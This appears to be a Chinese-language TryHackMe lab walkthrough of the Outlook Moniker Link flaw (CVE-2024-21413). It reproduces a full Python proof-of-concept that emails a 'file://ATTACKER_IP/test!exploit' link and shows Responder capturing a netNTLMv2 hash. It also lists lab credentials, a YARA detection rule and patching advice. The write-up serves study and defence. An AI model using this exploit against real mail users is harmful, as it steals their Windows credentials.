【THM】Moniker Link (CVE-2024-21413)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/monikerlink
本文相关内容:使用 CVE-2024-21413 泄露用户凭据并绕过 Outlook 的受保护视图(Protected View)。
前言
2024年2月13日,Microsoft公布了一个Microsoft Outlook RCE和凭据泄漏漏洞,分配的CVE为CVE -2024-21413 (Moniker Link-绰号链接)。 Check Point Research 的 Haifei Li 因为发现该漏洞而受到赞誉。
该漏洞能够在处理一种被称为 Moniker Link 的特定类型的超链接时成功绕过 Outlook 的安全机制。攻击者可以通过向受害者发送包含恶意Moniker Link的电子邮件来恶意利用此漏洞,从而导致 Outlook 在用户单击恶意超链接后将用户的 NTLM 凭据发送给攻击者。
下表提供了与该漏洞的评分相关的详细信息:
CVSS | Description(描述) |
---|---|
Publish date-发布日期 | February 13th, 2024 - 2024 年 2 月 13 日 |
MS article-微软官方相关文章 | https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 |
Impact-影响 | Remote Code Execution & Credential Leak-远程代码执行和凭据泄漏 |
Severity-严重程度 | Critical-严重 |
Attack Complexity-攻击复杂性 | Low-低 |
Scoring-评分 | 9.8 |
已知该漏洞会影响以下 Office 版本:
Release | Version |
---|---|
Microsoft Office LTSC 2021-微软 Office LTSC 2021 | affected from 19.0.0-从 19.0.0 开始受到影响 |
Microsoft 365 Apps for Enterprise-Microsoft 365 企业应用程序 | affected from 16.0.1-从 16.0.1 开始受到影响 |
Microsoft Office 2019 | affected from 16.0.1-从 16.0.1 开始受到影响 |
Microsoft Office 2016 | affected from 16.0.0 before 16.0.5435.1001-从 16.0.0版本到16.0.5435.1001 |
学习目标
- 该漏洞是如何发挥作用的;
- 了解 Outlook 的“受保护的视图-Protected View”;
- 利用该漏洞从 Outlook 客户端泄露用户凭据;
- 了解与该漏洞相关的检测措施和缓解措施。
部署实验虚拟机
请注意,你需要部署一个 AttackBox 作为攻击机以及一个易受攻击的目标虚拟机。为了成功部署目标虚拟机,请在与本文相关的TryHackMe实验房间页面中点击下面的绿色Start Machine
按钮。
目标虚拟机应该以分屏视图的形式启动。如果没有看到目标虚拟机界面,你可以在与本文相关的TryHackMe实验房间页面中点击页面右上角的蓝色Show Split View
按钮(显示分屏视图)。如果你更喜欢通过RDP连接并访问目标虚拟机,那么你可以在攻击机上使用以下凭据来进行远程访问:
- Username:
tryhackme
- Password:
Kkh3gv439dnq!
在本小节中部署 AttackBox 和易受攻击的目标计算机。所有实验机器大约需要5分钟才能完全启动。
答题
此CVE 的“Severity-严重程度”级别是?
Critical
介绍Moniker Link (CVE-2024-21413)
Outlook 可以将电子邮件呈现为 HTML 的形式。你可能会注意到你最喜欢的时事通讯正在使用它。此外,Outlook 可以解析超链接,例如HTTP和HTTPS。然而,它也可以打开指定应用程序的URL,这被称为Moniker Links 。通常,当外部应用程序被触发时,Outlook会提示安全警告。
此弹出窗口是 Outlook 的“Protected View-受保护的视图”的结果。受保护的视图会以只读模式打开包含附件、超链接和类似内容的电子邮件,阻止宏等内容(尤其是来自企业、组织外部的宏)。
tips:Macros(宏)是编程中的一个概念,通常指通过预定义的规则自动生成或替换代码片段的机制,它在不同上下文中有不同的含义,但核心思想是通过自动化简化重复性工作。
通过在超链接中使用file://
Moniker Link ,我们可以指示 Outlook 尝试访问一个文件,例如指示访问被放置在一个网络共享上的文件,相关的超链接如下所示: <a href="file://ATTACKER_IP/test>Click me</a>
。在这个过程中还会用到SMB协议,该协议涉及使用本地凭据进行身份验证,但Outlook的“受保护的视图-Protected View”会捕获并阻止此访问尝试。
<p><a href="file://ATTACKER_MACHINE/test">Click me</a></p>
这里存在漏洞,原理是通过修改我们的超链接以在我们的Moniker Link中包含!
特殊字符和一些文本,从而导致Outlook的受保护视图被绕过。例如以下这个修改后的链接示例: <a href="file://ATTACKER_IP/test!exploit>Click me</a>
。
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
作为攻击者,我们可以为实施攻击而提供上面所介绍的这种性质的Moniker Link 。请注意,这里的共享并不需要存在于远程设备上,因为受害机器无论如何都会尝试进行身份验证,从而导致受害者的Windows netNTLMv2哈希被发送给攻击者。
通过此漏洞实现 远程代码执行 (RCE) 也是可能的,因为Moniker Links在 Windows 上使用了组件对象模型 (COM)。关于这一点的解释目前超出了本文的讨论范围,因为还没有公开发布的概念证明(PoC)可以通过这个特定的CVE来实现RCE。
答题
我们在超链接中使用的是什么样的Moniker Link类型?
file://
用于绕过Outlook的“受保护视图-Protected View”的特殊字符是什么?
!
漏洞利用
对于此攻击,我们将通过电子邮件向受害者发送一个类似于上一个小节中所提供的Moniker Link。作为攻击者,我们的目标是向受害者发送一封电子邮件,其中包含了能够绕过Outlook的“受保护视图”的Moniker Link,而受害者的电子邮件客户端将会尝试从我们的攻击机处远程加载文件,从而导致受害者的netNTLMv2哈希值被捕获。
首先,让我们尝试运行下面的PoC(可以在GitHub上找到)。
'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
</body>
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
server.login(sender_email, password)
except Exception as err:
print(err)
exit(-1)
try:
server.sendmail(sender_email, [receiver_email], message.as_string())
print("\n Email delivered")
except Exception as error:
print(error)
finally:
server.quit()
或者
'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.1 | 13/03/2024
Only run this on systems that you own or are explicitly authorised to test (in writing). Unauthorised scanning, testing or exploitation is illegal.
'''
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>
</body>
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSVERIP', 25)
server.ehlo()
try:
server.login(sender_email, password)
except Exception as err:
print(err)
exit(-1)
try:
server.sendmail(sender_email, [receiver_email], message.as_string())
print("\nEmail delivered")
except Exception as error:
print(error)
finally:
server.quit()
概念验证(PoC):
- 获取攻击者和受害者的电子邮件,通常,你需要使用自己的SMTP服务器(这个实验房间已经为我们提供了);
- 需要密码进行身份验证,在本文的实验环境中, 给定的attacker@monikerlink.thm的密码是attacker;
- 需要包含电子邮件内容 (html_content),其中包含了我们的 Moniker 链接作为 HTML 超链接;
- 然后,填充电子邮件中的“主题”、“发件人”和“收件人”字段;
- 最后,它会将电子邮件发送到目标邮件服务器。
让我们使用Responder在我们的攻击机上创建一个SMB侦听器。对于THM AttackBox而言,被监听的网络接口将会是 -I ens5
。如果你使用的是自己的本地计算机作为攻击机(例如你的本地Kali虚拟机),那么被监听的网络接口名称将会有所不同。若你想要尝试一些额外作业,也可以使用 Impacket 服务器。
在AttackBox上启动Responder程序:
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
让我们通过点击分屏视图中的“CVE-2024-21413”窗格来打开存在此漏洞的目标计算机的用户界面。
单击目标机桌面上的“Outlook”快捷方式以打开Outlook应用程序。Outlook 打开后,我们在弹出的窗口中单击“我不想登录或创建帐户”跳过登录。
然后继续单击弹出窗口右上角的“X”来关闭第二个弹出的窗口(你可能需要将窗口稍微向左拖动,具体移动多少取决于你的屏幕分辨率),从而跳过产品密钥输入框。
完成上述操作后,你将看到Outlook的默认界面。对于与本文相关的实验环境而言,受害者的邮箱已经在Outlook中为我们设置好了。
然后我们可以返回到AttackBox攻击机界面,我们需要将上面提及的PoC复制并粘贴到 AttackBox 中备用。
为此,我们可以在 AttackBox 上创建一个新文件用于保存PoC的内容。 使用命令nano exploit.py
并在分屏视图中使用滑出托盘。请参阅下面的示意图以查看实际效果。
在正式运行上述Python脚本之前,我们还需要在AttackBox中对该脚本的内容进行一些初始设置:
- 修改我们的PoC脚本中的Moniker链接(在第 12 行)以反映 AttackBox(攻击机) 的 IP 地址;
- 将第 31 行的 MAILSERVER 占位符替换为实际的 MACHINE_IP(目标机器的ip地址)。
完成上述设置后,我们就可以运行构造好的漏洞利用脚本exploit.py。当终端提示我们输入攻击者的电子邮件密码时,输入“attacker”即可(上文给定的信息)。
root@attackbox:# python3 exploit.py
Enter your attacker email password: attacker
在电子邮件被发送后,Python脚本将在终端界面中打印出“Email delivered-电子邮件已发送”字符串。如果该脚本在执行后出现了身份验证失败提示,请确保你已经正确替换了 exploit.py 中的关键值。
现在,让我们返回到存在漏洞的目标计算机界面并检查在 Outlook 中收到的新电子邮件:
单击邮件中的“Click me”超链接并返回查看 AttackBox 上的“Responder”终端会话界面:
成功!我们可以发现 AttackBox 已经捕获到了受害者的 netNTLMv2 哈希。
答题
我们在 AttackBox 上所使用的用于捕获用户哈希的应用程序的名称是什么?
responder
单击电子邮件中的Moniker Link超链接后会在攻击机上捕获到什么类型的哈希?
tips:这是Windows所使用的一种身份验证协议。
netNTLMv2
漏洞复现模拟:
-
在AttackBox上启动Responder程序:
responder -I ens5
; -
在目标计算机中打开Outlook应用程序:跳过弹出窗口——先单击第一个弹出窗口中的“我不想登录或创建帐户”,再单击第二个弹出窗口右上角的“X”;
-
回到AttackBox攻击机界面,另外开启一个终端窗口,将本小节所给出的PoC复制并粘贴到 AttackBox 中备用:
nano exploit.py
; -
对exploit.py脚本的内容进行一些初始设置:修改脚本的第12行,即填充AttackBox(攻击机) 的 IP 地址;修改脚本的第31行,即填充目标机ip地址;
#AttackBoxIP:10.10.50.109 #MACHINE_IP:10.10.81.103
-
在攻击机终端中执行刚才构造好的漏洞利用脚本exploit.py:
python3 exploit.py
,在提示我们输入攻击者的电子邮件密码时,输入“attacker”(上文给定的信息);在电子邮件被发送后,此Python脚本将在攻击机的终端界面中打印出“Email delivered-电子邮件已发送”字符串; -
回到存在漏洞的目标计算机界面,并且检查在 Outlook 中收到的新电子邮件:单击邮件中的“Click me”超链接;
-
最后切换到攻击机的终端界面,查看 AttackBox 上的“Responder”终端会话:可以发现 AttackBox 已经捕获到了受害者的 netNTLMv2 哈希。
[SMB] NTLMv2-SSP Client : ::ffff:10.10.81.103
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:ee7d0d4cb289c733:3509A7AE47EA21090B8370E1852BE3DE:010100000000000080310AC26DC8DB01B482B811DE71A9B70000000002000800510052005900580001001E00570049004E002D0058003600460032005A0038004800470049003800520004003400570049004E002D0058003600460032005A003800480047004900380052002E0051005200590058002E004C004F00430041004C000300140051005200590058002E004C004F00430041004C000500140051005200590058002E004C004F00430041004C000700080080310AC26DC8DB010600040002000000080030003000000000000000000000000020000017180A9D5DAAFDE05E1664CE11C099DE669A877CF40B31A2DC5EA0FD17B021760A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00350030002E00310030003900000000000000000000000000
漏洞检测
YARA
Florian Roth创建了一条Yara 规则,可用于检测 Moniker 链接中包含file:\\
元素的电子邮件。
由 Florian Roth 创建的 Yara 规则(CVE-2024-21413)如下所示:
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Wireshark
此外,从受害者到客户端的SMB请求可以在带有截断的 netNTLMv2 哈希的数据包捕获中看到。
修补措施
Microsoft 在二月份的“周二补丁”版本中包含了解决此漏洞的补丁。你可以在此处查看关于受此漏洞影响的 Office 版本列表。强烈建议通过 Windows Update 或Microsoft Update Catalog更新Office以修补该漏洞。
与此同时,这个漏洞也提醒了人们应该遵守常规的网络安全实践。例如,提醒用户:
- 不要随意点击链接(尤其是来自于未经请求的电子邮件);
- 在点击陌生的链接之前 先预览链接;
- 在企业网络环境中,请及时将可疑的电子邮件转发给负责网络安全的相应部门。
由于此漏洞绕过了 Outlook 的受保护视图,因此用户无法通过重新配置 Outlook 来防止此攻击。此外,完全阻止SMB协议以防范该漏洞可能弊大于利,特别是因为它(SMB协议)对于我们访问网络共享至关重要;但是,你可以尝试在防火墙级别阻止此类攻击行为,这具体取决于你所在的企业、组织。
本文小结
众所周知,Outlook 是一款非常流行的电子邮件客户端。此 CVE 会影响 Office 套件的很大一部分,并且鉴于其极低的攻击复杂性,所以它会是一个相当棘手的攻击方式。
请记住,必须尽快通过 Windows Update 或 Microsoft 更新目录来更新 Outlook ,否则你可能无法阻止 Outlook 的“受保护视图”被成功绕过。